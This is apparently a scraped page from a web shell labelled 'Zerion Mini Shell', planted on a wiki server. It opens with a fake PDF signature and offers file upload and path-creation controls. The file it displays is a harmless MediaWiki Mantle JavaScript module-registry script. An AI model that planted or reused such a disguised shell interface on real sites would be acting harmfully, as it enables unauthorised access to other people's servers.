%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/www/varak.net/wiki.varak.net/extensions/Mantle/javascripts/common/
Upload File :
Create Path :
Current File : //proc/985914/root/www/varak.net/wiki.varak.net/extensions/Mantle/javascripts/common/modules.js

( function( M, $ ) {
	$.extend( M, {
		_modules: {},
		/**
		 * Require (import) a module previously defined using define().
		 *
		 * @param {string} id Required module id.
		 * @return {Object} Required module, can be any JavaScript object.
		 */
		require: function( id ) {
			if ( !this._modules.hasOwnProperty( id ) ) {
				throw new Error( 'Module not found: ' + id );
			}
			return this._modules[ id ];
		},

		/**
		 * Define a module which can be later required (imported) using require().
		 *
		 * @param {string} id Defined module id.
		 * @param {Object} obj Defined module body, can be any JavaScript object.
		 */
		define: function( id, obj ) {
			if ( this._modules.hasOwnProperty( id ) ) {
				throw new Error( 'Module already exists: ' + id );
			}
			this._modules[ id ] = obj;
		}
	} );
}( mw.mantle, jQuery ) );

Zerion Mini Shell 1.0